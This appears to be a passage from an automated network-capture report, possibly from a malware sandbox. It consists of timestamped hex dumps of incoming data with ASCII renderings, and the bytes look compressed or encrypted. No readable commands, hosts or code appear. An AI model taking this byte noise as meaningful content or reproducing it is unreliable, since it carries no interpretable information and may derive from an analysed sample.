Data Ascii: GU?|~&;tk/<8s2I[4`CfQc#D7=+7>#:<_K9MnkW67l$qK&i](;37 oEc'.In%Y-Y<{l^<9UXX&Ys(%IOssJT]Nb<
Ukh8nUb{pA?cke,dQ

2022-08-11 03:42:55 UTC 2248 IN Data Raw: e3 fa 54 82 4d 5c 26 13 82 87 ef 06 e7 f3 a6 fd 50 ad e4 c7 1d 1d b6 f0 9e 59 61 ce d3 fe 35 5c 59 a4 6f 91 20 
de 39 f9 86 0f e0 45 6a 58 dc 6a 32 42 eb 30 50 d8 e1 89 c9 fc 7a fe 95 0d d4 7a b6 e4 29 b4 83 e8 46 39 a9 52 77 b3 63 
71 56 ba 46 cf 85 7e 28 78 b7 c1 37 82 e3 4c d5 ee 3c b1 c1 b7 96 43 2c 24 7a 14 24 8f c7 02 bd ef c0 7f b5 ee 9d 75 6a 
20 f1 75 9c 96 77 83 3f e9 56 31 ef 89 c7 6c a1 39 53 f8 91 5f 34 c7 f6 f8 b2 64 b2 56 23 b8 c0 35 13 79 f2 be d3 64 bd 32 
7d 71 59 d4 a1 4a b7 c4 be 68 d6 9d 6a b4 76 7a 76 3e f6 d0 7e 28 78 57 c5 b7 51 db 68 da e5 a5 ed cb a8 6f b3 86 db 
26 3f dd 20 1c 8e e0 57 57 b5 8c 6b e8 6b f3 65 23 b8 8a 41 34 29 25 bc d1 90 cb 22 b6 19 4f a8 20 e4 7d 45 76 5e 1c f8 
c1 e3 3f 0d 34 6b 6f af ea 62 24 20 f9 72 b7 9d 1f d0 
Data Ascii: TM\&PYa5\Yo 9EjXj2B0Pzz)F9RwcqVF~(x7L<C,$z$uj uw?V1l9S_4dV#5yd2}qYJhjvzv>~(xWQho&? WWkke
#A4)%"O }Ev^?4kob$ r

2022-08-11 03:42:55 UTC 2250 IN Data Raw: ae 7a 56 c4 b1 7e ec 29 de 40 53 df af bd 54 75 50 d9 11 8c d5 45 83 5a 94 08 75 5c 2e 47 39 15 21 93 cc f9 
86 33 de ad 38 2e a3 68 03 6f b5 44 63 3f 4c f5 ab b9 2a c2 5b cd 25 ac c1 d0 ed 1d 08 3d 0d 74 16 b7 70 de 61 5d 36 13 
fc 2d d3 f0 3d eb 05 a2 3b 78 ff 00 22 a4 89 9c a0 42 72 bd 40 ed 51 24 a4 11 6e f6 34 e4 8f 65 c9 23 91 9f af 3e 94 b0 d8 
bc cb f3 82 50 93 d4 e7 26 a0 b4 d4 02 7c b2 a6 72 7e 66 07 9e 6b a3 b4 89 26 51 e5 95 3c 60 9c d6 73 97 2a 36 8a b9 
9e d1 b2 3c 68 9c 2f a8 ef c7 5a 80 c7 29 60 09 00 13 c5 6a b5 ba ee 38 19 e8 38 ee 6a ab c7 83 85 8f 1b 7d ea 63 21 b4 
53 58 18 39 dd 8e be 87 24 54 72 da 33 36 78 c0 20 01 dc d6 83 31 7f 2c 91 8f f3 de ab 9d c2 4c e4 f5 fc ab 45 26 26 8a 
0f 6b 24 6d 86 07 a9 a0 c7 c0 24 55 d7 b9 7d ca 73 bf 23 
Data Ascii: zV~)@STuPEZu\.G9!38.hoDc?L*[%=tpa]6-=;x"Br@Q$n4e#>P&|r~fk&Q<`s*6<h/Z)`j88j}c!SX9$Tr36x 1
,LE&&k$m$U}s#

2022-08-11 03:42:55 UTC 2301 IN Data Raw: ab d6 2e f1 15 95 ac c9 e3 d3 27 68 65 95 31 b6 31 86 60 7a e7 d3 d7 f0 a9 74 fd 1e e9 ee 62 9c 45 f2 2f 3b b8
c7 1f d6 9f 36 ac 3e c0 40 c2 47 bc ed 03 af ae 31 d8 55 c5 f1 1c 7b 6d 04 5b 95 90 00 00 07 e5 3e a7 d7 34 7b 59 da cd 
09 45 5c a5 77 04 9a 55 f4 8c d9 72 e1 b0 49 e6 ab 32 4f 03 48 e4 1d c1 41 27 f8 79 1f e1 5d 1a 88 f5 06 02 54 5b 82 e7 
b0 e8 7b 91 56 ee 2d 21 81 a4 db 11 b9 2c 40 0a 3a 28 00 0e 98 e6 a7 db 25 ba 07 17 7b a3 96 d3 5a ee e7 cc b7 89 f3 
13 00 5b 23 80 33 8e d5 77 fe 11 a7 b7 b1 90 33 af 98 48 39 6e 80 7f f5 f3 5b 5e 54 7a 6c 62 28 43 7c ee 59 8a 8c 12 49 
e3 81 e8 2b 26 f7 52 9a 44 da 58 c8 b9 2a 41 18 3d 7d 3d be b4 bd a4 a4 ef 0d 10 28 a5 f1 0d 5b 18 37 5b c0 e7 98 d0 8c 
28 e0 b7 ae 6a 09 b4 94 9d 80 79 0c 50 b7 f0 c8 30 c4 7f 
Data Ascii: .'he11`ztbE/;6>@G1U{m[>4{YE\wUrI2OHA'y]T[{V-!,@:(%{Z[#3w3H9n[^Tzlb(C|YI+&RDX*A=}=([7[(jyP0

2022-08-11 03:42:55 UTC 2317 IN Data Raw: ff 00 68 8c 00 ce 06 43 e0 64 af e1 ea 6a 4b bd 26 1f b1 c9 6f 1b 97 2a 01 62 d2 1d 89 9e 49 c0 e9 8a 3b 36 
4a 4e 25 5c 40 d1 bc cf 9c 63 e5 dd ca 91 c6 40 f6 aa cf 1d 9e ef 35 87 99 23 a0 da 48 e3 27 1e bc 13 56 61 82 08 6d 52 
24 b8 fd d9 3f 39 93 82 47 6c 7b 0c 54 ab a7 24 71 b6 e9 18 44 aa 0a a9 ee 49 f5 f5 f4 a7 74 87 e6 8a 5a 5c 31 46 c5 9a 
01 1c bc ec 93 19 e4 74 cf bd 45 7f 66 86 19 5d ed d4 c8 4e 08 03 3d 39 24 d6 84 b6 f2 c6 92 4c 2d e4 07 38 3b bb 7d 06 
7b 7e 75 6a 78 61 f2 c1 d8 25 b8 91 48 1e 67 a1 f6 ed d3 bd 3e 6b 3b 85 8e 06 58 b6 e1 10 8f 2c b6 38 3d 01 e3 af 43 5d 
6c 1a 58 b4 b7 4b 54 04 46 af 97 66 3f 7c 91 82 3f fd 55 95 a9 d8 98 11 5f 11 e3 76 04 40 72 7f 2f 7e 2a fd 84 f3 ea 84 13 
1f 95 14 64 03 83 d3 03 81 cf 39 ae 8a 92 72 49 a7 a1 
Data Ascii: hCdjK&o*bI;6JN%\@c@5#H'VamR$?9Gl{T$qDItZ\1FtEf]N=9$L-8;}{~ujxa%Hg>k;X,8=C]lXKTFf?|?U_v@r
/~*d9rI
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2022-08-11 03:42:55 UTC 2364 IN Data Raw: 77 65 ba e4 fe 1d ab 2c db 4b a8 5e 24 28 02 31 cb 6e ea 3a 64 e6 ad de 6b 0d 71 0c 56 c6 38 f6 0c 70 ab 80 
4e 3d b9 cd 3a 79 e2 82 14 58 23 11 4a aa 09 90 73 bb b1 c9 f4 ab 8a 92 df 72 74 b9 90 d6 d2 33 39 ca 92 b8 05 7b 9c 
75 db d6 91 80 dc e4 6e 55 3c e0 fa 56 8d bd ea ad f7 9d b0 24 85 4a e4 74 19 ee 38 f4 aa b1 c0 1e e3 71 2d 1c 40 f3 20 
1b 80 ad 53 7d 44 d2 bd d1 5b 6b 06 c6 08 03 83 ed c7 f5 a6 31 62 aa c7 ef 0e fd ea dd cd b3 45 87 64 7f 2d 81 da d8 ea 
3d 6a 34 b4 96 e2 37 75 8c 98 d4 0d ed ce 06 7d 6a af d4 35 7b 16 74 15 7b 99 0c 10 05 f3 98 9e 4f f7 48 e4 fe 15 a1 a5 
da 08 6e 65 c4 9e 69 87 76 d9 15 48 18 3c 72 7d 7d 05 56 f0 ed 9c a6 69 67 47 11 22 a9 43 23 2e 7a 9c 60 74 e6 b4 2c 
b4 d6 6b a3 24 9b 63 b5 fe 32 c7 96 03 9e 00 e8 6b 8e a3 d5 ab 
Data Ascii: we,K^$(1n:dkqV8pN=:yX#Jsrt39{unU<V$Jt8q-@ S}D[k1bEd-=j47u}j5{t{OHneivH<r}}VigG"C#.z`t,k$c2k

2022-08-11 03:42:55 UTC 2543 IN Data Raw: fb cc 07 03 ea 45 69 7d 2c 83 a1 da 9d b1 26 7e 50 bd 4e 3a fb 71 55 12 ee 0b 99 b0 b3 c5 20 19 fd da c8 09 
f5 e4 03 5e 5f aa 7c 4a 9d fc 33 03 a9 22 47 46 49 19 4e 1d 0a 92 07 d4 11 cf ad 79 9a f8 a6 4b 19 20 ba b4 b8 92 2b d4 
90 b0 97 a7 7e 0f f3 c8 ab 8a be 88 87 24 b4 3e ad 8e 3d 8a 1e 47 03 3c 63 d3 fc fb 55 44 d4 dc b9 58 c6 46 71 d7 93 58 
5e 07 d5 47 8a 74 38 ae 6f b5 0b 5b b9 23 6c 31 b5 05 06 71 d0 83 de b6 a6 f1 0e 8b 6e d1 b0 b9 b7 4f bc bb e3 20 8c 8e 
08 24 7d 2b 29 72 c7 72 fd 08 24 f3 59 b3 21 04 e7 2a a0 e0 74 ef f8 d4 33 42 1e dc 9f 28 bc a3 fe f9 ce 3a 71 9a ad 37 
8e 34 08 6d e7 71 70 ae d1 a9 3e 5e 3e 62 0f 50 01 eb 9a f3 7f 15 fc 4b bc d7 2d e3 8e d8 36 97 00 60 7f 73 26 77 0e 0f 
24 2f f2 35 6a 6b a1 12 bf 73 d2 18 c6 b0 c8 3c d1 11 23 
Data Ascii: Ei},&~PN:qU ^_|J3"GFINyK +~$>=G<cUDXFqX^Gt8o[#l1qnO $}+)rr$Y!*t3B(:q74mqp>^>bPK-6`s&w$/5jks<#

2022-08-11 03:42:55 UTC 2572 IN Data Raw: 45 0c 7f 28 eb 81 8e fd aa 2e ad ee 85 9d cc d9 a2 48 58 79 9c 13 db 39 39 fa d2 ac 62 54 39 05 18 7f 0a 9f 
43 dc f6 aa b6 3a cd 95 f3 5f aa 86 12 da 4a d0 94 c8 39 c0 fb c3 19 c0 3e fc d6 75 f7 88 a0 49 3c bf b4 47 6d 2b 85 0b 1b 
30 52 41 6c 02 33 d8 9e f8 ad e3 16 c3 44 8d b4 b1 1e 71 91 e4 df 18 19 25 b2 71 df 03 e9 5e 71 e2 2f 8c d1 68 b7 d7 31 
5b d9 2c f0 c2 42 b4 a2 43 96 e7 1c 71 80 31 83 55 fc 7b e2 f9 6c d1 2c 74 db b9 25 ba 31 1f 3e 35 61 e5 98 db a6 18 73 
b8 9e 87 d2 bc 66 f9 a5 36 d7 2f 20 21 a4 90 22 1c 60 16 23 03 f0 e7 ad 11 8b 73 b3 66 52 9d be 13 d2 3e 25 f8 de 1f 11 
db 41 0d 92 79 70 46 a8 59 5b 23 f7 8c 32 47 be 3a 57 9a df e9 bf 6a ba 93 27 06 15 cb 05 e0 f4 e0 1f c6 a6 8e de 7b bd 
f6 9e 7c 8f 2c 7b 7e 62 70 14 aa f5 15 47 4a bc 78 ef 
Data Ascii: E(.HXy99bT9C:_J9>uI<Gm+0RAl3Dq%q^q/h1[,BCq1U{l,t%1>5asf6/ !"`#sfR>%AypFY[#2G:Wj'{|,{~bpGJx

2022-08-11 03:42:55 UTC 2604 IN Data Raw: 75 0f 13 6c 79 e0 b6 d3 21 61 d2 0f f5 84 fa fa 28 f6 ae 8a 49 6c 74 98 41 2f bd c0 dc 3c d6 0b 9c 0e fd cd 71 
56 ac b9 fd f7 ef 79 2b 9a 53 8d 96 e5 6b ad 34 43 63 3b bc ad 75 28 18 55 b7 91 54 b2 f5 21 98 9c e4 f7 e9 fa 57 37 7b 
aa de 5c 42 53 31 d9 2a 00 de 48 e4 92 72 08 2c 33 9c 71 f5 cd 4c 7c 77 6d a8 5c 5d c1 75 2c 76 11 2e 42 b4 51 e4 be 4f 
40 c3 3d 6b 09 bc 4b 65 6b a8 4b 04 12 89 24 7c a8 3b 41 23 3d b2 78 c9 f6 e9 4f f7 8d 6b 1f eb f2 37 f6 89 6c 6a 5b d9 
4a cb 12 41 14 6e c5 3c c2 64 e0 75 fe 23 db 3d 87 5f 6a 35 8d 07 ed 3a 4a 47 2e e1 36 43 6e b7 ca 65 87 65 1d 3f 3e b5 
46 6b e6 b0 f2 a3 79 0c 4d bb e5 51 f2 e3 df 8a ae fe 28 76 79 20 96 4f 32 70 e0 6e 1e be 9f 5f a5 2f de 4a ce 04 f3 29 3d 
4b cf 69 04 72 46 27 97 64 11 a7 c9 18 19 c9 c7 25 
Data Ascii: uly!a(IltA/<qVy+Sk4Cc;u(UT!W7{\BS1*Hr,3qL|wm\]u,v.BQO@=kKekK$|;A#=xOk7lj[JAn<du#=_j5:JG.6Cnee?
>FkyMQ(vy O2pn_/J)=KirF'd%

2022-08-11 03:42:55 UTC 2620 IN Data Raw: 52 2b 4a d2 e4 c3 6c 7e 70 03 65 0c 92 00 38 fa 0e 49 f6 1c 55 39 29 6a 99 ba 8a 89 34 b7 da 7f 87 f2 27 49 af 
5c 33 32 c2 d8 08 49 3f 79 db ab 10 7a 0e 82 9b 63 e2 1b 9d 5a ea 3f 2e 26 8e d2 30 55 88 e1 41 07 e5 51 eb 9a 92 c3 
4b 8e ea 63 25 fe e9 40 c8 55 c1 1f 29 1d f1 d0 fe b5 a9 e6 25 ac 72 4d b1 63 b2 8b e6 58 e1 1c 81 df a7 03 27 f1 35 8c 
a3 0d 6e ae cb 5a ad 4d 3b 7b 53 71 09 72 1a 34 8f 21 4a b7 23 23 a9 cf 04 fe 82 b1 a7 d3 0d c2 c8 f0 5e 3c 49 09 de 4e 
47 ef 4f d7 da 92 6f 10 c5 7f 1a 62 70 23 9b ee c7 9e 4f 18 e9 ed 59 d2 5c b4 9f e8 d0 af 9f 74 e7 6a 5b c6 32 40 ac 63 45 
a6 d9 4d a7 a2 32 ae 62 37 57 02 47 06 79 54 00 80 9d c3 3f 8f 04 f5 35 d5 69 9e 13 5d 5e 18 de f0 84 de 4a 93 21 11 a0 
18 fb ab eb 8c 54 96 da 27 f6 5c c1 e5 22 e2 72 37 34 
Data Ascii: R+Jl~pe8IU9)j4'I\32I?yzcZ?.&0UAQKc%@U)%rMcX'5nZM;{Sqr4!J##^<INGOobp#OY\tj[2@cEM2b7WGyT?5
i]^J!T'\"r74

2022-08-11 03:42:55 UTC 2641 IN Data Raw: c3 6b 73 2a c5 77 20 5d c0 03 ea 4f e9 fa 52 5c 5c d9 5e b4 68 64 21 d3 71 6d fc 0e 3a fb 57 2f f6 b6 75 71 23 
9f 37 20 a9 5e 99 e8 73 55 1a e9 92 4c f5 c6 54 f3 91 42 a2 f7 6c a9 4d da cc e9 ed 64 b0 b4 6d c8 7f 78 cb 86 53 c0 fa 
7d 06 3a 55 af b4 a4 ae 02 27 da 6e 55 7a b7 0d c7 5e 3a 0e 2b 92 b6 ba 54 98 19 73 22 e0 f4 3e a3 bf d2 85 bf 96 29 37 
24 99 60 7a f4 ea 29 ba 2d bd c8 52 49 1d 25 b6 af 12 df f1 6f f3 14 64 24 b7 cb cf 73 eb 8f 4a cc d6 e4 54 93 61 cb 8e 9b 
98 77 eb f9 55 39 6e bc f6 f3 18 9f 33 39 dc 3a 9e 3b d4 49 78 cf c4 c3 cc c8 c6 5b 06 aa 34 b9 5d c4 e6 f6 11 ae 13 ec e4 
a1 df bc 7c ca 40 c0 02 aa 5e 32 ba 82 13 63 73 cf 6f ff 00 55 4f 3c 71 aa a7 92 fe 60 71 f3 0f 43 55 6e 02 86 1b 81 2a 7a 
e6 ba 22 96 e4 3b 04 72 10 84 2b f5 e7 8e 3f 
Data Ascii: ks*w ]OR\\^hd!qm:W/uq#7 ^sULTBlMdmxS}:U'nUz^:+Ts">)7$`z)-RI%od$sJTawU9n39:;Ix[4]|@^2csoU
O<q`qCUn*z";r+?

2022-08-11 03:42:55 UTC 2678 IN Data Raw: 32 03 b8 90 06 73 c5 3c 5b c8 63 45 64 ce d5 39 0b c9 1c 66 b4 1d 3e d6 8e 55 c6 dd c3 18 1d 70 2a 94 97 32 
a3 c8 fb 32 a4 80 30 79 eb ed 52 9f 41 5b 52 a4 9f 68 8d f0 41 74 65 1d 07 ad 4f 1d 83 2b 47 2c 92 46 15 5b 07 07 8f c3 1f 
ad 13 dc 08 ca 43 82 64 91 b2 71 cd 56 bf 9b 73 ec 19 00 74 03 8e 2b 44 9b 17 52 7b c4 68 d4 32 90 73 c8 c1 ea 3d 6b 
25 a4 6b 8c 9c 7c c3 a9 e8 38 ab 0d 70 63 83 60 3c 10 08 39 ce 09 f4 a8 92 5f 90 aa e3 d4 d6 91 8d 81 be c4 72 90 88 4b 
1c 91 cf 5a aa 19 5a 32 49 ef 81 f4 a9 9a 09 a7 52 40 c0 20 11 4f fb 2c 8d 88 d2 3c 8e 9f 2f 4c f7 ad 34 44 df 98 ab 8c 87 
63 d3 d7 a1 a8 b3 b5 c8 53 d7 38 f7 ae 96 1f 0d e6 dc 49 2b 6c 72 78 07 b0 1c 54 30 68 0a 6f b6 09 57 9f 63 9c 0e 7a 54 
7b 58 6a 5d 99 87 0d bb 6e 7d dc 05 ce 73 d7 a5 49 6b 
Data Ascii: 2s<[cEd9f>Up*220yRA[RhAteO+G,F[CdqVst+DR{h2s=k%k|8pc`<9_rKZZ2IR@ O,</L4DcS8I+lrxT0hoWczT
{Xj]n}sIk

2022-08-11 03:42:55 UTC 2750 IN Data Raw: 24 fa f6 c7 4f f3 d6 b4 ed 6f 1a fe 19 0a c6 b1 42 14 99 06 7a 37 a8 fa 9a c6 54 df 2a e6 2a fd 0d e4 f2 99 7c f9 
bf 78 01 f9 7b 95 f4 38 3c 74 fc 6a 6b 0b c4 b8 b5 48 a1 f9 27 42 70 c1 ba 29 39 c9 cf 71 de b2 ec 6d f5 0b ab 6d 93 c6 c2 
25 52 d9 51 86 20 0c 0e 9e bd 2a ac 6f fd 9f 71 10 5c 86 32 6c 60 e3 39 cf 1f 86 01 fc eb 37 14 f4 4f 52 a2 f4 e6 e8 75 17 
79 b9 bc 76 67 8c 33 8d ab 91 f7 9b 1f 96 4f 6a 92 df 40 bd fb 65 b9 8d 3c c9 01 0a b1 2f 2c fc fc dd 33 f8 56 05 d4 f1 5d 
dd 3a 23 e1 51 b6 7c d8 1c 8f f1 ad ed 3f c5 4d a0 ea 16 92 c2 e0 2c 63 1c 00 49 1d f3 9a ca 51 9c 63 68 ee 69 19 25 b9 
73 5b d1 2f 61 40 d2 db b2 2c 79 dc 4f 00 2f 6e fc e3 da aa 5a db 43 a7 46 22 32 e5 9f 2c f8 07 81 d8 64 fa 7f 5a ef fc 75 
36 97 7f a2 f8 3f 58 d2 b5 09 bc db 8b 
Data Ascii: $OoBz7T**|x{8<tjkH'Bp)9qmm%RQ *oq\2l`97ORuyvg3Oj@e</,3V]:#Q|?M,cIQchi%s[/a@,yO/nZCF"2,dZu6?X

2022-08-11 03:42:55 UTC 2861 IN Data Raw: 3f 0a e4 ed 6f 27 d3 52 48 41 31 16 c1 75 39 53 91 d3 3d c7 5a 6d c6 ad 71 33 86 f3 30 57 1c 64 e3 8e f5 9c 
a9 4e 52 bc 76 32 6f 98 f4 8c 9b 5b 78 d2 2b c0 4a 46 a1 b1 80 03 71 9c 7b fe 35 5a d6 73 34 c5 1d 04 87 6b 6f 2a 7e 60 
a3 93 d3 a7 4a e2 ef 35 cf 3a 1d 88 0a 32 e0 82 9c 0e 3e 95 a7 a1 6a 93 b5 bd cc 43 c9 53 29 55 50 df eb 1c 93 8d a0 fa 
73 9e 71 9f 5e 2b 99 61 a6 a2 da dc b6 ed a1 d0 69 3a a4 76 d2 5d b4 51 c8 2d 76 fe f3 6e 07 24 e0 13 90 4e 3d 6a ee 93 
a3 68 d7 d7 d7 b3 ea b7 e2 ca 15 0b e4 ac 4a 09 76 3d 41 5e fc 73 91 8a 54 f0 ad df f6 6c d2 3c b1 da 5f e1 9d 84 a4 34 
46 35 38 da d8 ce dc 1c e0 81 8e de f5 34 d6 fa 64 30 c4 d0 6a 27 55 b8 56 57 90 2c 6b 1c 59 c8 52 4b 63 21 41 e9 c1 38 
a9 96 1e 4d be 47 66 ca e5 e5 57 7b 0e 5d 2b 4e d1 74 bf 
Data Ascii: ?o'RHA1u9S=Zmq30WdNRv2o[x+JFq{5Zs4ko*~`J5:2>jCS)UPsq^+ai:v]Q-vn$N=jhJv=A^sTl<_4F584d0j'U
VW,kYRKc!A8MGfW{]+Nt

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 2925 IN Data Raw: a3 76 73 92 73 4e 53 95 94 ae 0d 24 ad 63 1e f2 c8 dc 5e 10 ce d8 41 f3 46 47 cd c6 71 59 7a ee 93 2d 9d 89 
9d c8 4e 98 50 39 04 f6 27 e9 5b d7 af 6d 69 7d 3b 27 98 65 25 54 93 d0 12 7a ff 00 93 5a 72 c1 64 bf 67 92 e6 06 90 79 
a4 08 46 78 00 75 3e bc d5 aa 8e 36 63 54 b9 93 3a 5d 57 c5 71 7c a0 40 b2 46 d9 7c ed c6 0f 73 eb 5c d6 a1 7e da 83 
39 5d b1 c6 83 21 40 c6 d0 3f 9d 54 d4 e6 f2 9d 14 a1 c0 23 20 9e 98 e8 2a 83 33 5c 31 70 0f ca 06 70 38 1f 95 74 53 a2 
a3 aa 33 77 64 8f 7b 22 f2 18 aa f6 cd 74 7e 17 f0 c5 f6 a0 ef 73 2c ad 63 6d 12 6f fb 41 19 dd df 6a fa 93 58 ba 25 94 3a 
9e a9 04 13 f9 8f 0b 37 2b 1f 05 b0 33 80 7b 7d 7b 57 a1 4f 6f 1d 9d a4 16 d0 ca a0 c0 03 47 89 09 52 0f 5e 73 9f d2 b3 
c5 56 e4 fd dc 37 62 84 75 d4 d7 d1 d6 c2 d7 10 c8 ed e6 
Data Ascii: vssNS$c^AFGqYz-NP9'[mi};'e%TzZrdgyFxu>6cT:]Wq|@F|s\~9]!@?T# *3\1pp8tS3wd{"t~s,cmoAjX%:7+3{}
{WOoGR^sV7bu

2022-08-11 03:42:55 UTC 2971 IN Data Raw: 04 69 f3 0c 9c 63 00 75 a4 eb c3 f9 91 3e c6 5d 13 30 2d a4 92 d9 c3 c2 ed 14 98 ff 00 59 19 2a 47 1d 88 39 
ad bb 1f 1c f8 8f 4f e2 0d 73 50 81 7a 60 4e c7 f4 c9 14 a3 c2 da a1 5e 2c 26 ce 70 41 5c 7f 3a 9b fe 10 bd 58 7c cd 67 28 
07 07 39 5e ff 00 8d 67 37 42 a2 f7 ec fe e1 c6 13 ec cd ed 2f e2 8f 88 cb 6d 9b c4 8e 49 00 11 77 12 be 00 3e ea 6b a3 
b4 f8 ad e2 40 e5 20 f1 1d a4 88 48 50 0d aa 02 7f 95 79 ef fc 21 5a ba a9 61 a7 cc 33 c8 fb a7 fa d2 0f 08 ea c7 e4 1a 7c 
a4 fe 1f e3 5e 7c f0 b8 39 f4 8f dc 8d d7 3a e8 ff 00 13 d6 a2 f8 b9 e3 08 98 44 97 9a 54 ec 3a ee 87 9f c7 0d fd 2b 5a cb 
e2 bf 8b a2 9a 0f 3b 4c d2 6e 11 9c 6f 68 a5 64 60 b9 c6 70 49 e7 1d 0d 78 98 f0 6e b0 18 95 b1 94 37 4f bc bf 8f 7a 90 f8 
6f 5e 85 91 85 bd c0 0a 73 9d df c8 e6 b8 25 
Data Ascii: icu>]0-Y*G9OsPz`N^,&pA\:X|g(9^g7B/mIw>k@ HPy!Za3|^|9:DT:+Z;Lnohd`pIxn7Ozo^s%

2022-08-11 03:42:55 UTC 3027 IN Data Raw: d3 bd 69 d8 ac be 1d 5b 97 4d 54 a1 04 46 cb 1c 64 e4 91 92 39 ed db 35 d9 52 ca 29 c7 73 25 a3 d7 63 21 f4 
cb ed 3f cb 37 31 94 47 5d e9 bf b8 cf 6f 4f a5 74 1e 14 60 d6 d7 17 73 03 70 57 74 51 c7 20 ca ee 2b f2 92 3d 8d 65 db 
bf f6 f6 a9 04 22 e1 90 b3 e5 e5 93 a4 68 06 49 eb d8 55 fd 23 5b 4d 2e 4b 88 2d 2c cd db 93 94 24 6e 19 38 c3 11 cf 3f 
8e 2b 3a 9c ce 0e 3d 4d 15 93 34 f4 74 86 3d 0f cb 74 23 ed d2 3e ef 28 1d cc 54 e1 46 47 40 0d 40 be 56 85 6d 74 bb 1a 
39 41 ca 19 3d 0f 61 9f d6 b5 2f 75 09 ad 21 81 0c 6c 26 08 73 b7 0a 72 79 24 81 d0 64 d7 25 aa cd 0d c2 c6 64 1b 32 40 
05 49 20 9f a9 ae 4a 71 95 46 db d9 8d c9 58 af 35 fa dd 5d 07 9c 82 8a 0e de 31 93 e8 7a f5 a9 b4 91 6b 17 98 93 e4 b6 
70 32 c0 2e 4f b8 e4 01 ed 50 49 15 a1 59 20 b6 9e 41 f3 
Data Ascii: i[MTFd95R)s%c!?71G]oOt`spWtQ +=e"hIU#[M.K-,$n8?+:=M4t=t#>(TFG@@Vmt9A=a/u!l&sry$d%d2@I Jq
FX5]1zkp2.OPIY A

2022-08-11 03:42:55 UTC 3043 IN Data Raw: 72 28 58 e2 7c 61 c7 00 9f 97 fa e2 a3 7b 36 49 b0 48 3d ce d2 38 c9 fa d3 fe cf 2c 48 42 7d dc 12 4e 39 e4 d5 
11 d4 1a df a1 0e 00 00 60 1e 94 8a a5 81 1b cb 9e 3f d5 fb d4 41 4b e7 38 dc 3d 73 93 43 24 bb 86 3f 79 e9 8e 3a 7f 5a 
41 6d 4e 3c 59 c5 0b 61 1c 4e 73 9c a0 20 7e 47 91 f8 d6 9d be 9b 73 3d f5 bc 52 62 db 7e 30 d3 61 54 29 ee 4f a7 5a b3 
e1 2b 7b 27 fb 4c f7 52 c6 cd 0e d6 16 d2 64 79 d9 3c 9d dd b1 e9 de ac 78 8f 5c 3a bb 4a c2 38 a0 70 81 55 63 c6 38 ed 
ed 5f 11 2a d2 73 e4 4b 6e a7 d1 f2 a6 ae 8f 56 f8 15 f0 b3 c2 9e 33 7d 42 7b cb 81 79 3d 94 82 23 0c 84 f9 52 82 38 65 
c1 07 ae 47 5a f7 2b 7d 3b c2 de 14 f0 dc f7 36 9e 20 5d 3b 4e b2 53 bc 5a c8 ac ab df 69 57 04 ee f6 eb da be 1a d0 35 
06 d1 f5 2d f2 49 25 be 41 2a d1 31 1b 4e 38 3c 72 69 
Data Ascii: r(X|a{6IH=8,HB}N9`?AK8=sC$?y:ZAmN<YaNs ~Gs=Rb~0aT)OZ+{'LRdy<x\:J8pUc8_*sKnV3}B{y=#R8eGZ+
};6 ];NSZiW5-I%A*1N8<ri

2022-08-11 03:42:55 UTC 3099 IN Data Raw: af f9 c5 42 d1 a4 6f bf 83 30 19 c1 c9 18 ef d3 a1 a0 2f dc 79 d8 cc 8c 46 09 5c 8e 38 3f 80 a6 79 4b 23 e5 24 
c7 05 b3 e9 93 8e 95 61 94 6d e9 80 c0 63 d3 9e d5 52 7b 51 13 09 00 2e e0 9c b7 af d7 da 81 3b d8 91 3c b3 84 61 c9 
e3 3d 87 e3 fe 34 86 38 e5 c2 28 62 a3 b9 e4 1f cb 1f 8d 4f 14 8c b0 8c 00 8a 48 1d 00 3c f6 1e a2 9a 03 04 24 c8 37 2e 
ef e1 db c7 ae 47 5c fb 77 a0 64 53 5a a8 52 63 89 50 91 c8 07 9f 73 4f b6 20 43 b3 1b 02 ff 00 b2 33 c0 ef cd 2c 72 34 
ad 81 22 c6 d8 e0 ff 00 16 3a 0e b8 a2 64 2c 84 ca f8 7c 01 c0 03 1c e6 90 d5 b7 22 68 fc 8d e1 dc ab 13 90 c3 38 23 d3 
14 33 12 b2 14 75 c8 c8 27 18 fc fb 73 4f 91 03 20 8f 2c 73 9c 90 40 3c 76 a1 37 04 57 d9 c6 42 85 ec 7d 39 02 ab a1 1d 
48 84 12 3c 63 cb 8f 7b 0e 9d 70 13 d7 14 be 54 90 5b a1 
Data Ascii: Bo0/yF\8?yK#$amcR{Q.;<a=48(bOH<$7.G\wdSZRcPsO C3,r4":d,|"h8#3u'sO ,s@<v7WB}9H<c{pT[

2022-08-11 03:42:55 UTC 3136 IN Data Raw: 96 80 b3 ed c0 72 46 0a 90 01 cf d4 7d 73 4f 0f 14 48 e6 3c e0 e1 b6 8f 6e bf 87 e9 52 c4 f1 fd 9f 33 3b 12 de 
83 93 9a 07 ab b2 2a b4 0f 09 19 80 ee 3c 16 03 76 7d 3d ff 00 4a 69 b5 f3 24 11 98 c3 b0 ee 09 fc b3 8e d5 7a 49 58 6f 
0f 26 53 18 55 dd df 1c 64 fb 54 66 49 82 2b 64 48 3d 49 19 27 fc 28 13 ec 51 6d 35 d7 f7 42 3f 97 9c 11 26 d0 3f c6 9f f6 
19 23 5d 80 87 dc 72 33 9e 0f bf d2 a5 fb 53 6d 0e f0 63 71 01 ba 8e 47 e7 4d 69 7c ed 8e 6d ce d0 3e 50 a7 04 fb fa d3 
0d 56 8c fb 34 aa 7d f6 83 e7 27 a8 5a 72 f9 68 db b9 4c f6 e7 1c 7b 7a d4 a6 48 d3 ac aa 3e a4 53 44 90 be 40 91 49 1d 
40 3d 0d 7c ad fb 9e f6 c4 32 4d 0b 2e d6 94 27 fc 08 a9 fc 3a 53 23 8d 38 d9 70 5c f4 c7 9b 9f c6 ac 62 16 c1 df 1b 67 3d 
c1 a6 9b 48 5b b4 63 8e 7a 53 56 41 6e ac 50 65 
Data Ascii: rF}sOH<nR3;*<v}=Ji$zIXo&SUdTfI+dH=I'(Qm5B?&?#]r3SmcqGMi|m>PV4}'ZrhL{zH>SD@I@=|2M.':S#8p\
bg=H[czSVAnPe

2022-08-11 03:42:55 UTC 3184 IN Data Raw: 85 0d 6c b1 ab a9 1c 10 72 73 8e 3d 78 fc 4d 6a 88 e0 95 48 c8 20 1c fb e3 db f1 a8 c0 2c bb 57 09 90 49 ec 
4a f6 f5 1c d3 b9 2c cc 16 ca 8b 80 72 d8 04 1d a4 71 dc 7f f5 ea 29 4c 4c de 5b c7 bc 1e 43 63 3d 38 c7 4c 66 b5 3e c3 
